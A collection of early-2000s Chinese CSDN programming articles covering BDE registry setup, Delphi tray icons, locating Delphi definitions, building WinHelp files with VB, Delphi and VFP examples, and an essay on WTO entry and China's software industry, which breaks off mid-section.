CSDN_文档中心_如何在注册表中注册BDE

只拷贝BDE文件是不行的，还要写注册表：

必需的注册表项目包括：

1. BDE动态连接库文件位置设置

Key : "HKEY_LOCAL_MACHINE\Software\Borland\Database Engine"
Item : "DLLPATH"
Value : BDE动态连接库文件所在位置，如"C:\Program Files\Borland\Common Files\BDE"

(打开"C:\Program Files\Borland\Common Files\BDE\BDE32.hlp"，
查找"Core Files"即可了解BDE各动态连接库文件的作用)

2. BDE语言驱动文件路径设置

Key : "HKEY_LOCAL_MACHINE\Software\Borland\BLW32"
Item : "BLAPIPATH"
Value : BDE语言驱动文件所在路径，如"C:\Program Files\Borland\Common Files\BDE"

(BDE语言驱动就是那些*.BLL文件)

3. 指定可用的BDE语言驱动文件

Key : "HKEY_LOCAL_MACHINE\Software\Borland\BLW32"
Item : "LOCALE_LIB#" (#表示数字, 如"LOCALE_LIB1"、"LOCALE_LIB3"等)
Value : 指定各BDE语言驱动文件，如"C:\Program Files\Borland\Common Files\BDE\USA.BLL"

(一般必需的语言驱动文件有"USA.BLL","EUROPE.BLL"和"FAREAST.BLL"，为保险起见，建议将所有语言驱动都设置上。在安装了Delphi3的机器上，用Regedit打开注册表，一看你就明白了怎么设了)


CSDN_文档中心_如何在状态栏中加入图标（或图片），还有动态的时间

function Shell_NotifyIcon(dwMessage:DWORD;lpData:PNotifyIconData):BOOL;stdcall;
在shellapi单元中。

dwMessage:NIM_ADD
NIM_MODIFY
NIM_DELETE

PNotifyIconData=^TNotifyIconDataA
TNotifyIconDataA=record
cbSize:DWORD;
Wnd:HWND;
uID:UINT;
uFlags:UINT;
uCallbackMessage:UINT;
hIcon:HICON;
szTip:array[0..63] of AnsiChar;
end;

xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx
...
const
MyIconID=1;
MyIconEvent=WM_USER+1;
...

private
...
MyIcon:TIcon;
...

//Install
var
IconData:TNotifyIcon;
...
MyIcon:=TIcon.Create;
MyIcon.LoadFromFile('icon1.ico');
with IconData do
begin
cbSize:=SizeOf(IconData); //
Wnd:=Form1.Handle; //
uID:=MyIconID; //
uFlags:=NIF_ICON;
uCallBackMessage:=MyIconEvent;
hIcon:=Handle; //Change
szTip:='My Test Icon';
Shell_NotifyIcon(NIM_ADD,@IconData);
...
//做了标记的是改或删时要设的。

//precedure IconOnClick(msg:TMessage);message MyIconEvent;
if(msg.lParam=WM_RBUTTONDOWN) then
GetCursorPos(p); //p:TPoint;
PopupMenu1.Popup(p.x,p.y);


CSDN_文档中心_如何知道函数或类型是在哪里定义的

如何使用不知道在哪里定义的函数或类型
M 作 者: soaringbird() 2001-02-23 21:07:37
发现有很多网友发帖子问不知道一个函数啦、类啦、全局变量什么的在哪个单元里定义的。其实，找到他们在哪里定义是很简单的。
方法1、在Delphi帮助里面找。
在帮助主题\索引里输入类型名，Delphi帮助就可以定位到这个类型的相关帮助（假如有的话），帮助内容里面有一段叫Unit，下面是一个单元名，这就是这个类定义所在的单元。这种情况下你可以读到详尽的关于这个类或者函数的说明。
但某些类型或者函数如一些Win API极其用到的结构类型是在帮助里面没有的，这是就可以应用方法二。
方法2、到Delphi库源代码目录里面查找。Delphi主目录下面有一个目录：Source，它下面都是Delphi的源代码，你在这个目录下用Windows搜索，在包含文字栏里输入你要查找的类名，搜索，可能会找到几个pas文件，其中一个就是你想要的。通过这种方法你可以找到类型、函数的声明。
但仍然有某些类会找不到，因为Delphi没有提供它们的源代码，比如QuickReport的东西，这时你可以用方法三。
方法3 到Delphi\Lib下面找。
Delphi\Lib下面是Delphi用到的编译后的单元文件(*.dcu),你在这个目录下用Windows搜索，在包含文字栏里输入你要查找的类名，搜索，可能会找到几个dcu文件，其中一个就是你想要的。
通过以上三种方法，你可以找到绝大多数你想要的东西。但加入一些不常用到的API、或者没有公开的API，你只能自己声明了。

示天再补充一种方法：
    在代码编辑器中输入　这个函数　，然后按住　CTRL　键，最后用鼠标点一下这个函数，就自动打开或跟踪到该函数的定义处。我觉得这种方法也很简单。

--

作者：soaringbird【】
※ 来源: 网易虚拟社区 北京站．
※ showskyws 修改于: 2001.02.23 21:26


CSDN_文档中心_如何制作帮助文件

如何制作帮助文件

带 有 帮 助 文 件 的 应 用 程 序 无 论 对 程 序 员 还 是 用 户 都 是 不 同 凡 响 的， 它 能 节 省 印 刷 大 量 用 户 手 册 的 开 支， 对 程 序 员 编 辑 修 改 和 用 户 手 册 的 复 制 保 存 都 极 为 方 便。 帮 助 文 件 的 另 一 个 很 有 前 景 的 应 用 是 单 独 作 为 带 有 图 文 信 息 的 电 子 图 书 发 布。
---- 在 此 对 帮 助 文 件 的 编 制 及 如 何 在 程 序 中 编 程 调 用 作 一 详 尽 介 绍。 首 先 介 绍 第 一 部 分， 帮 助 文 件 的 编 写。
---- 帮 助 文 件 的 编 写 步 骤：
先 编 写 存 有 所 有 帮 助 信 息 的 帮 助 源 文 件RTF 文 件。

编 写 帮 助 项 目 文 件HPJ 文 件。

对HPJ 文 件 编 译， 最 后 生 成HLP 文 件。
帮 助 源 文 件RTF 文 件 的 编 写
---- 帮 助 源 文 件 是 存 有 所 有 帮 助 信 息 的， 这 是 一 种RTF（Rich Text Format) 文 件, 帮 助 文 件 象 一 本 书， 由 目 录 及 一 个 个 章 节 组 成， 各 章 节 之 间 的 跳 转 是 由 定 义 的 热 点 来 完 成。 现 在 举 一 具 体 例 子（ 由 目 录 等 五 条 信 息 组 成） 详 细 说 明。
---- 原 始 信 息 由 五 个 章 节 组 成： 目 录、 概 述、 说 明、 程 序、 安 装。象 前 面 每 一 节 的 标 题（“ 目 录”，“ 概 述”， “ 说 明”，“ 程 序”， “ 安 装”） 在RTF 文 件 中 必 须 以 特 有 的 脚 注（ 即$) 明 确 指 定。 对 每 一 节 还 须 指 定 其 跳 转 名( 脚 注 是# ， 跳 转 名 不 能 是 汉 字）， 以 便 标 识， 在 这 我 们 给 每 一 节 分 别 取 名 为：contents , description, explanation ,programming, setup, 对 每 一 节 还 可 指 定 其 搜 索 关 键 字（ 脚 注 是K）， 关 键 字 可 以 是 一 个 或 多 个， 汉 字 和 英 文 均 可。
---- 具 体 操 作 如 下： 进 入Microsoft Word 中 文 版, 选 择： 文 件/ 新 建， 先 输 入 第 一 节 的 内 容： 输 入 第 一 节 的 标 题：“ 目 录”， 将 光 标 移 到“ 目 录” 的 前 面， 选 择 系 统 菜 单 的“ 插 入”， 选 “ 脚 注 和 尾 注”， 选“ 脚 注” 和“ 自 定 义 标 记”， 输 入：$ 符 号， 这 时 文 档 下 方 出 现 脚 注 编 辑 窗 口， 光 标 也 自 动 落 在 文 档 下 方 的 脚 注 编 辑 窗 口 中， 在 光 标 处 接 着 输 入 这 一 节 的 标 题：“ 目 录”， 有 时 看 不 到 文 档 下 方 的 脚 注 窗 口， 这 只 要 将 系 统 菜 单 中“ 视 图” 的“ 脚 注” 选 上。
---- 下 面 定 义 这 一 节 的 跳 转 名, 将 光 标 移 到“ 目 录” 的 前 面， 选 择 系 统 菜 单 的“ 插 入”， 选 “ 脚 注 和 尾 注”， 选“ 脚 注” 和“ 自 定 义 标 记”， 输 入：# 符 号， 这 时 文 档 下 方 出 现 脚 注 编 辑 窗 口， 光 标 也 自 动 落 在 文 档 下 方 的 脚 注 编 辑 窗 口 中， 在 光 标 处 接 着 输 入 这 一 节 的 跳 转 名：“contents”( 有 时 看 不 到 文 档 下 方 的 脚 注 窗 口， 这 只 要 将 系 统 菜 单 中“ 视 图” 的“ 脚 注” 选 上) 定 义 这 一 节 的 搜 索 关 健 字。 将 光 标 移 到“ 目 录” 的 前 面， 选 择 系 统 菜 单 的“ 插 入”， 选 “ 脚 注 和 尾 注”， 选“ 脚 注” 和“ 自 定 义 标 记”， 输 入：k 符 号， 这 时 文 档 下 方 出 现 脚 注 编 辑 窗 口， 光 标 也 自 动 落 在 文 档 下 方 的 脚 注 编 辑 窗 口 中， 在 光 标 处 接 着 输 入 这 一 节 的 搜 索 关 健 字， 搜 索 关 健 字 可 以 是 中 文 或 英 文， 一 个 或 多 个， 中 间 用 分 号（ 即 ；） 隔 开， 这 儿 我 们 输 入： 目 录； 目 次；contents。
---- 最 后 定 义 这 一 节 的 顺 序 号。 顺 序 号 相 当 于 一 本 书 中 各 章 节 的 页 码。 将 光 标 移 到“ 目 录” 的 前 面， 选 择 系 统 菜 单 的“ 插 入”， 选 “ 脚 注 和 尾 注”， 选“ 脚 注” 和“ 自 定 义 标 记”， 输 入：+ 符 号， 这 时 文 档 下 方 出 现 脚 注 编 辑 窗 口， 光 标 也 自 动 落 在 文 档 下 方 的 脚 注 编 辑 窗 口 中， 在 光 标 处 接 着 输 入 这 一 节 顺 序 号， 如：0001，0002，0003 等。 这 儿 我 们 输 入：0001.
---- 这 样， 第 一 节 的 脚 注 标 记 全 部 作 完。
---- 第 二 节 的 脚 注 标 记 作 法 一 样。（ 第 一 节 和 第 二 节 要 有 分 页 符， 选 择 系 统 菜 单 的“ 插 入”， 选 “ 分 隔 符”，“ 分 页 符”）。
---- 在 帮 助 文 件 中， 当 用 户 在 按 了 绿 色 的 跳 转 文 本， 就 应 该 跳 转 到 对 应 的 章 节， 如 何 定 义 一 个 热 点 跳 转 呢 ？ 因 为 我 们 已 经 定 义 了 第 一 节 的 跳 转 名， 只 要 将 跳 转 文 本 与 要 跳 转 到 的 那 一 节 的 跳 转 名 联 系 起 来， 跳 转 文 本 在RTF 文 件 中 是 带 双 下 划 线 的 文 本， 以 上 例 操 作 如 下：
---- 选 择 系 统 菜 单 上 的“ 格 式”/“ 字 体”， 选 择“ 字 体”/“ 下 划 线”， 选“ 双 线”， 然 后 开 始 输 入 热 点 文 本， 这 儿 我 们 输 入“ 概 述”， 输 入 完 热 点 文 本， 清 除 双 下 划 线 格 式， 操 作： 选 择 系 统 菜 单 上 的“ 格 式”/“ 字 体”， 选 择“ 字 体”/“ 下 划 线”， 选“ 无”， 清 除 双 下 划 线 格 式 后， 紧 接 着 选 择 隐 藏 文 本 格 式， 输 入 跳 转 目 的 地 的 跳 转 名， 操 作： 选 择 系 统 菜 单 上 的“ 格 式”/“ 字 体”， 选 择“ 字 体”/“ 效 果”， 选“ 隐 藏”， 输 入 跳 转 目 的 地 的 跳 转 名， 这 儿 输 入“description”， 输 入 完 清 除 隐 藏 文 本 格 式。 清 除 隐 藏 文 本 格 式 的 操 作： 选 择 系 统 菜 单 上 的“ 格 式”/“ 字 体”， 选 择“ 字 体”/“ 效 果”， 将“ 隐 藏” 复 选 框 除 去。
---- 如 何 定 义 热 点 弹 出 说 明。 它 与 以 上 热 点 跳 转 文 本 一 样， 只 不 过 它 是 带 单 下 划 线 的 文 本。 操 作 如 下： 选 择 字 符 的 单 下 划 线 格 式， 输 入 弹 出 式 热 点 文 本， 如 上 例 输 入 的 是“ 单 下 划 线 的 指 定 说 明 热 点”， 操 作 如 下： 选 择 系 统 菜 单 上 的“ 格 式”/“ 字 体”， 选 择“ 字 体”/“ 下 划 线”， 选“ 单 线”， 然 后 开 始 输 入 热 点 文 本， 这 儿 我 们 输 入“ 单 下 划 线 的 指 定 说 明 热 点”， 输 入 完 热 点 文 本， 清 除 单 下 划 线 格 式， 紧 接 着 选 择 隐 藏 文 本 格 式， 输 入 跳 转 目 的 地 的 跳 转 名， 这 儿 是 弹 出 窗 口 的 跳 转 名： 这 儿 输 入“my_pop_up”， 输 入 完 清 除 隐 藏 文 本 格 式。 弹 出 窗 口 一 节 要 与 其 它 章 节 用 分 页 符 分 开。 只 要 指 定 跳 转 名 即 可。
---- 我 们 经 常 看 到 的“ 参 阅”、“see also” 弹 出 窗 口 就 是 这 样 作 出 来 的。
---- 如 何 对 图 形 指 定 热 点 跳 转。 在RTF 文 件 中 使 用 图 形， 可 以 用 语 句：{bmc 图 形 文 件 名}，bmc 表 示 图 形 放 在 中 间，bml 表 示 图 形 放 在 左 边，bmr 表 示 图 形 放 在 右 边， 图 形 文 件 可 以 是 一 般 的BMP 位 图 和SHG 热 点 跳 转 图 形 文 件。
---- 如 用 户 在 图 形 某 处 按 动 时， 会 弹 出 一 个 说 明 窗 口。 而 热 点 图 形.shg 文 件 由.bmp 位 图 文 件 通 过 工 具 软 件Hotspot Editor 编 辑 而 来。Hotspot Editor 是 随Visual Basic （ 在VB 的HC 目 录 下） 和Visual Foxpro（ 在VFP 的HELPCOMP 目 录 下） 发 布 的。 执 行 文 件 名 是SHED.EXE。 操 作： 运 行SHED.EXE， 选File/Open， 装 入 要 用 到 的 位 图 文 件。 这 儿 用 一 人 头 形 位 图man.bmp, 在 图 形 上 拖 动， 产 生 一 个 个 热 点， 双 击 任 一 热 点 区 域， 出 现 一 对 话 框， 只 要 在Context String 处 输 入 要 跳 转 或 弹 出 目 的 地 的 跳 转 名。 热 点 类 型Type 处 选 取 Jump 跳 转 式 或 Popup 弹 出 式。 热 点 区 域 边 框 属 性Attribute 选 取 可 见Visible 或 不 可 见Invisible。 在 这 个 例 子 中Context String 输 入eye_popup,Type 选 取 Popup,Attribute 选 取Invisible ( 隐 去 热 点 区 域 的 边 线).
---- 以d:\winword\man.shg 文 件 名 存 盘， 退 出SHED.EXE。
---- 如 何 产 生 固 定 的 不 滚 动 标 题 区 域， 不 滚 动 区 域， 在 显 示 特 长 的 信 息 时 很 有 用， 可 这 样 操 作： 用 光 标 将 要 不 滚 动 的 区 域 全 选 上， 点 取 系 统 菜 单 上 的“ 格 式”/ “ 段 落”， 选“ 正 文 排 列”， 将“ 与 下 段 同 页” 选 上。
---- 就 这 样， 帮 助 信 息 源 文 件 所 有 的 工 作 都 已 作 完， 在WORD 中 将 文 件 以RTF 格 式 存 盘。 下 面 进 入 帮 助 项 目 文 件HPJ 的 编 辑。
建 立 帮 助 项 目 文 件（.HPJ 文 件）
以 一 实 例 说 明， 语 句 分 号 右 边 是 注 解
[OPTIONS] ; 这 一 节 的 内 容 并 非 必 须
COMPRESS=0 ; 指 示HLP 文 件 不 压 缩
ERRORLOG=my.err ; 编 译 错 误 存 于 此 文 件
REPORT=Yes ; 编 译 时 报 告
CONTENTS=contents ; 目 录 跳 转 名
COPYRIGHT= ; 版 权 信 息
DEFFONT=,10,0 ； 字 体 大 小
BMROOT=. ; 指 示BMP 文 件 的 存 放 位 置，
在 同 一 目 录 下 用 空 白 或“.” 否 则BMROOT=Drive:\Path
HLP=.\dxchlp.hlp ; 表 明 生 成 的 帮 助 文 件 名
[FILES] ; 唯 一 重 要 的 一 节
.\Dxchlp.rtf ; 所 用RTF 文 件 名（ 包 括 路 径）

---- [WINDOWS] ; 语 法 Main=" 主 窗 口 的 标 题",( 窗 口 水 平 位 置， 垂 直 位 置， 宽 度， 高 度）， 状 态， 背 景 颜 色（R，G，B）， 非 滚 动 区 域 背 景 颜 色（R，G，B）， 是 否 总 是 浮 在 其 它 窗 口 上 面（0 为False,1 为True) 例：
---- Main=“ 主 窗 口 标 题”，（512,10,512,1000),0,(255,251,240),(192,192,192),0
---- ； 语 法： Second=; 语 法 同 上 面 主 窗 口， 例：
---- Second=“ 次 级 窗 口 标 题”，（10,10,500,1000),0,(254,251,240),(191,192,192),1
---- [CONFIG]
---- BrowseButtons() ； 加 一 向 前 向 后 按 钮
---- 其 实 用 不 着 写 这 么 多， 最 省 事 的 帮 助 项 目 文 件 是 这 样 只 有 一 条 语 句， 其 它 全 是 缺 省 值：
---- [FILES] ； 节 名 称
---- Myhelp.rtf ； 所 用RTF 文 件 名（ 包 括 路 径, 如c:\winword\Myhelp.rtf）
---- 以 上hpj 文 件 用 任 何 编 辑 器 编 辑 后 以HPJ 文 件 存 盘。
对 帮 助 项 目 文 件HPJ 进 行 编 译， 形 成HLP 文 件
---- 编 译 要 用 编 译 工 具HC.EXE， 在VB 的HC 目 录 下 有HC.EXE， 在VFP 的HELPCOMP 目 录 下 有HC31.EXE 和HC35.EXE， 任 选 一 个 使 用。 操 作：HC 文 件 名， 或HC31 文 件 等, 如：HC31 Myhelp.hpj

---- 现 在 介 绍 第 二 部 分， 对 帮 助 文 件 编 程。
---- 帮 助 文 件 的 最 终 目 的 是 要 应 用 到 自 己 程 序 中。 现 以 最 常 用 的 三 种 开 发 工 具VB，VFP，DELPHI 分 别 举 一 最 简 单 例 子。
VB
---- 进 入VB， 选File/New Project， 出 现 一 空 白 窗 体Form1, 加 一 个 通 用 对 话 框CommondDialog1 到Form1， 点 取Menu Editor， 设 置 一 菜 单， 一 级 菜 单 有 二 项：（Caption 分 别 为：）File ，Help， 而File 的 下 一 级 菜 单Exit，Help 的 下 一 级 菜 单 为Contents， KeyWords Search， About， 对 应 的Name 属 性 分 别 为:mnuFile，mnuHelp，mnuExit，mnuContents，mnuSearch，mnuAbou。 假 定 帮 助 文 件 是D:\WINWORD\DXCHLP.HLP。
---- 程 序 代 码 如 下：
Private Sub Form_Load()
CommonDialog1.HelpFile = "d:\winword\dxchlp.hlp"
End Sub

Private Sub mnuContents_Click()
With CommonDialog1
.HelpCommand = cdlHelpContents 'cdlHelpContents 是 显 示 目 录 的 命 令
.ShowHelp
End With
End Sub

Private Sub mnuSearch_Click()
With CommonDialog1
.HelpCommand = cdlHelpKey 'cdlHelpKey 是 显 示 关 健 字 搜 索 的 命 令
.ShowHelp
End With
End Sub

Private Sub mnuAbout_Click()
aboutform.Show 1 ' 以 模 态 显 示" 关 于" 窗 口
End Sub

Private Sub mnuExit_Click()
End
End Sub

以 上 可 用 调 用 动 态 联 结 库 的 方 法， 代 码 如 下：
（1） 模 块 文 件：
Global Const HELP_CONTENTS = &H3&
Global Const HELP_KEY = &H101
Declare Function WinHelp Lib "user32" Alias "WinHelpA"
(ByVal hwnd As Long, ByVal lpHelpFile As String, ByVal
wCommand As Long, ByVal dwData As Long) As Long '
必 须 同 一 行; 为WIN95,NT
' Declare Function WinHelp Lib "User" (ByVal hwnd As
Integer, ByVal lpHelpFile As String, ByVal wCommand As
Integer, dwData As Any) As Integer ' 必 须 同 一 行; 为WIN3.X
（2） 窗 体 文 件
Private Sub Form_Load()
App.HelpFile = "d:\winword\dxchlp.hlp"
End Sub

Private Sub mnuContents_Click()
i% = WinHelp(Form1.hwnd, App.HelpFile, HELP_CONTENTS, 0)
End Sub

Private Sub mnuKeySearch_Click()
i% = WinHelp(Form1.hwnd, App.HelpFile, HELP_KEY, 0)
End Sub

DELPHI
---- 进 入DELPHI， 选File/New Project， 出 现 一 空 白 窗 体Form1, 加 一 个 菜 单 控 制Mainmenu1 到Form1， 双 击Mainmenu1， 设 置 其 一 级 菜 单， 有 二 项：（Caption 分 别 为：）File ，Help， 而File 的 下 一 级 菜 单Exit，Help 的 下 一 级 菜 单 为Contents， KeySearch， About， 对 应 的Name 属 性 分 别 为: File1，Help1，Exit1，Contents1，KeySearch1，About1。
---- 因 为 要 用 到About 关 于 窗 口， 所 以 加 入 一 新 窗 体， 其Name 属 性 为AboutBox， 再 加 入 一BitBtn 按 钮OKButton 到AboutBox 窗 体，OKButton 的Caption 属 性 为OK，Glyph 属 性 为 一 确 定 图 片 或 干 脆 为 空。
---- 假 定 帮 助 文 件 是D:\WINWORD\DXCHLP.HLP。
---- 程 序 代 码 如 下：
program Delhelp;

uses
Forms,
Unihelp in 'UNIHELP.PAS' {Form1},
Uniabout in 'UNIABOUT.PAS' {AboutBox};

{$R *.RES}

begin
Application.CreateForm(TForm1, Form1);
{Application.CreateForm(TAboutBox, AboutBox);}
{注意注掉这一行，因为AboutBox是在运行时产生的,详见代码}
Application.Run;
end.

unit Unihelp;

interface

uses
SysUtils, WinTypes, WinProcs, Messages, Classes, Graphics, Controls,
Forms, Dialogs, Menus,
uniAbout;

type
TForm1 = class(TForm)
MainMenu1: TMainMenu;
File1: TMenuItem;
Help1: TMenuItem;
contents1: TMenuItem;
KeySearch1: TMenuItem;
About1: TMenuItem;
Exit1: TMenuItem;
procedure Exit1Click(Sender: TObject);
procedure contents1Click(Sender: TObject);
procedure KeySearch1Click(Sender: TObject);
procedure About1Click(Sender: TObject);
private
{ Private declarations }
public
{ Public declarations }
end;

var
Form1: TForm1;

implementation

{$R *.DFM}

procedure TForm1.Exit1Click(Sender: TObject);
begin
Close;
end;

procedure TForm1.contents1Click(Sender: TObject);
begin
Application.HelpFile := 'd:\winword\dxchlp.hlp';
Application.HelpCommand(Help_Contents,0); { 显 示 帮 助 目 录}
end;

procedure TForm1.KeySearch1Click(Sender: TObject);
begin
Application.HelpFile := 'd:\winword\dxchlp.hlp';
Application.HelpCommand(Help_PartialKey,0); { 显 示 关 键 字 搜 索}

end;

procedure TForm1.About1Click(Sender: TObject);
var
myAbout:TAboutbox;
begin

myAbout:=TAboutbox.Create(Self);{myAbout 是 类TAboutbox 的 一 个 实 例}
myAbout.ShowModal; { 显 示“ 关 于”}

end;

end.

unit Uniabout;

interface

uses WinTypes, WinProcs, Classes, Graphics, Forms, Controls, StdCtrls,
Buttons, ExtCtrls;

type
TAboutBox = class(TForm)
OKButton: TBitBtn;
procedure OKButtonClick(Sender: TObject);
private
{ Private declarations }
public
{ Public declarations }
end;

var
AboutBox: TAboutBox;

implementation

{$R *.DFM}

procedure TAboutBox.OKButtonClick(Sender: TObject);
begin
Close;
end;

end.

---- 以 上 可 用 调 用 动 态 联 结 库 的 方 法，DELPHI 中 公 用 动 态 联 结 库， 常 数 等 用 不 着 声 明， 可 拿 来 就 用， 在 上 面 的 窗 体 中 再 加 入 二 个 按 钮，Content，Search， 输 入 以 下 代 码：
procedure TForm1.ContentClick(Sender: TObject);
begin
WINHELP(form1.ClientHandle,'d:\winword\dxchlp.hlp',HELP_CONTENTS,0);
end;

procedure TForm1.SearchClick(Sender: TObject);
begin
WINHELP(form1.ClientHandle,'d:\winword\dxchlp.hlp',HELP_KEY,0);
end;

VFP
---- VFP 中 有 内 建 的 菜 单 帮 助 命 令， 另 要 将 帮 助 文 件 设 到 自 己 的 帮 助 文 件 处， 语 句 是:SET HELP TO Drive:\Path\helpfile.hlp， 在 菜 单 位 中 显 示 帮 助 目 录 的 菜 单 项# 是_mst_help， 显 示 帮 助 中 关 键 字 搜 索 的 菜 单 项# 是_mst_hpsch， 现 举 一 例： 进 入VFP， 选“ 文 件”/“ 新 建”/“ 项 目”， 新 建 一 主 程 序main.prg， 输 入 以 下 代 码：
SET DEFAULT TO D:\WINWORD\VFP
SET HELP TO D:\WINWORD\DXCHLP.HLP
PUSH MENU _MSYSMENU
SET SYSMENU OFF
DO MainMenu.MPR

---- 新 建 一 主 程 序 主 菜 单MainMenu， 一 级 菜 单 有File 和Help， 再 设File 的 子 菜 单Exit，Help 的 子 菜 单Contents 和Search，Contents 的 菜 单 项# 是_mst_help， 而Search 的 菜 单 项# 是_mst_ hpsch，Exit 过 程 输 入 以 下 代 码：
POP MENU _MSYSMENU TO MASTER
CLEAR EVENTS
SET SYSMENU TO DEFAULT

---- 以 上 程 序 在P133 兼 容 机， 中 文WORD6.0， 中 文WINDOWS95， 中 文Visual Foxpro3.0，Visual Basic4.0，Delphi1.0 上 运 行 通 过。


CSDN_文档中心_如何做DELPHI的PACK更好

如何做DELPHI的PACK更好？

如果你有什么好的建议请到 delphi回答我的问题！dbpower@yeah.net


CSDN_文档中心_入世对我国软件产业的影响及对策

1 引言

    软件产业持续高速发展：1996年全球软件销售额约为1000亿美元，到2000年全球软件销售额超过了5000亿美元。软件产业已成为美国、日本等发达国家的支柱产业。一些发展中国家和地区(如印度、韩国及台湾等)也都把发展软件产业放在极其重要的地位，积极参与国际软件市场的竞争。

    2 我国软件产业发展现状与存在问题

    2．1 我国软件产业发展现状

    中国的软件业始于80年代初期，近几年发展极其迅速。软件销售额1995年为68亿元，1996年为 92亿元，1997年为112亿元，1998年为138亿元，1999年为176亿元，至2000年为230亿元，年均增长30％左右。截至2001年2月，我国从事软件开发、生产、销售、维护和服务的软件企业2 000家左右，其中专门从事软件开发的企业有1 000家，加上兼营软件的企业，总数约有5 000多家。为加速我国软件产业的发展，科技部自1995年开始选择一批优秀软件园和软件企业作为国家火炬计划软件产业基地，给予重点支持，已拥有东大软件园、齐鲁软件园、西部软件园等15个软件产业基地。我国现已形成了一支具有一定研发水平的软件技术队伍，软件开发专业人员约15万人，平均每人每年创造价值1.4方美元；软件队伍中，70％是年轻的软件工程师，但高级系统分析员、项目总体设计师和软件市场开拓人员较缺。国内软件市场已具备了一定的产品方向和市场能力，1996年—2000年在三大类型软件产品的分布上，系统软件的市场份额最小，国产化率很低，支撑软件其次，只有应用软件占有较大的市场份额，且平均国产化率相对较高。系统软件和支撑软件中操作系统和数据库市场几乎被美国垄断，国内产品仅限于中文平台软件(如中文之星和RICHWIN等)和一些数据库产品。在应用软件中，主要的产品是应用工具软件、财务与管理软件、教育与娱乐软件及办公与文字处理几类，而具有较大发展前途和能反映计算机应用水平的系统集成软件则明显不足。

    2.2 我国软件产业存在的问题

    2．2．1 重复开发低技术含量软件

    国内的软件开发大都集中在管理软件、财务软件等基于数据库应用的软件开发上。这些工作的技术含量相对较低，虽耗时耗力，却很难得到技术积累和较高的收益。而且，同类软件在不同的公司进行着大量的重复性开发，造成了人力、物力的极大浪费。

    2．2．2 国内软件市场缺乏有效管理

    目前国内整个软件市场还很不成熟。由于盗版猖獗，加上缺乏行业规范及有效的管理，使得软件产品的研制与开发得不到应有的回报，造成软件产业无法进入良性循环。

    2．2．3 软件设计未与国际接轨

    我国的软件开发人员普遍缺乏开发国际商业化软件产品所必须的概念、规范与经验。同时，由于远离软件产业发展的先进地区，许多企业的主管对于国际软件市场也缺乏必要的了解。目前国内软件产品的开发无论在设计规范、测试技术与测试工具等方面都没有与国际接轨，因此产品难以推向海外市场。

    2．2.4 软件企业规模小，难以承担大型项目

    我国除少数几家较大的公司(如北大方正、中软公司、用友公司等软件开发企业)已初具研究、设计、开发和开拓市场的能力，其它公司大都为50人以下的个体或集体企业，软件开发能力十分有限。软件企业规模过小难以形成产业优势，使企业阻抗风险能力减弱。

    2．2．5 缺乏硬件业支撑

    软件业之所以能够繁荣兴起，是因为硬件业的价值转移。中国的硬件业到目前为止还落后于软件业，中国软件业失去了硬件业给它资本积累的条件。

    2．2．6 人力资源流失严重

    中国拥有一批软件开发的高级人才，但由于种种原因导致人才流失严重，硕士及硕士以上计算机专业毕业生出国比率甚高。据统计，在美国进行软件开发的人员中有近，1／3为华人。同时,在国内用人也面临着与外资企业的激烈竞争。

    2．2．7 资金短缺

    资金不足已影响到软件企业发展的后劲。当企业需要上台阶、产品更新、技术升级时，资金短缺的问题就会暴露无疑。而且，资金缺乏会降低企业抗风险能力。

    2．2．8 软件产业的传统模式落后

    中国软件产业的传统模式主要是高校模式、研究所模式和企业模式三种。前两者往往只注重获取技术和科研成果，对技术成果的生产应用缺乏远景考虑，难以将科研成果转化为产品，难以形成产业化生产和实际生产力。企业模式相对前两者来说对市场的调查、分析和了解多一些，在对市场的把握和客户的需求理解上有一定的优势，但其生产的产品技术含量较低，在技术不断进步的市场竞争中难以推出持续性的、高技术含量的产品。

    2．2．9 软件企业制度不健全

    由于工程项目缺少科学化管理，企业行为不规范，软件企业需要建立一种现代化的企业制度来提高企业的管理水平，由于某些传统观念和因素的影响，建立一个现代化的企业制度还需要一段时间。

    2．2．10 清一色的技术出身的项目经理

     美国等国家有相当数量的项目经理是非技术人员出身，他们有很好的经营管理能力。而我国却是清一色的技术出身的项目经理，对企业发展有其局限性。

    3 加入WTO对我国软件产业的影响

    目前我国软件产品的关税名义上是15％，但实际上是零。因为软件产品大多是以OEM方式随计算机设备进来，并没有单独的售价，除非在国内进行软件的单独销售和代理。所以，入世后中国执行(信息技术协议)中的规定，即在2005年基本实现软件产品的零关税并不会对中国软件业造成直接的影响。

    3．1 入世给我国软件业带来的机遇

    3．1．1 使我国有权参与制定相关的规则和协议，进而处于主动地位

    加入WTO后，一些国家对我国设置的贸易障碍将会取消，对中国出口商品的歧视性行为也会得到抑制。同时中国将变被动为主动，可以从本国利益和实际出发，提出一些有利于本国经济发展的建议，从而为我国争取应有的权利。

    3．1．2 能促进我国软件需求，扩大软件市场的规模

    入世后面对国际竞争，国内企业不得不顺应潮流，提高自身的信息化水平，他们对软件(特别是应用软件)的需求量将会加大。而在应用软件市场，国内的软件厂商已经占有主动权，因此，加入WTO对国内的软件厂商应该是一个发展的机遇。

    3．1．3 将促进国内软件企业优胜劣汰

    中国加入(信息技术协议)，取消信息产品关税，将使国内企业进入国际竞争的大环境中。在优胜劣汰的竞争环境下，企业要生存和发展就必须采取一切可能的措施，调整产品结构，降低生产成本，提高产品质量，改善服务水平，以增强竞争能力。而那些体制僵化、管理混乱、缺乏创新、没有支柱产品的劣质企业将在竞争中被淘汰。这样，大多数软件企业将得到提高与发展，并将最终推动企业走上良性发展的道路。

    3．1．4 目前我国软件市场存在的一些问题可以得到解决

    加入WTO，引进国际竞争，我国目前存在的重硬轻软、知识产权无法受保护、智力入股没有法律保护、投融资渠道不健全、缺乏统一标准的现象，应该在外力的促进下有好转的迹象，这对软件产业的发展应该是有利的。

    3．1．5 国际沟通更加方便

    加入WTO，我国软件企业可以及时了解和跟踪世界先进技术的最新变化，从广泛参加国际经济联系中获得自己所需要的信息和经验。可以更好地利用国际竞争，在广阔的范围内寻找、选择、利用发展高科技所需要的先进技术和其他投入品。

    3．2 入世对我国软件业的冲击

    3．2．1 软件产品进口数量限制被取消

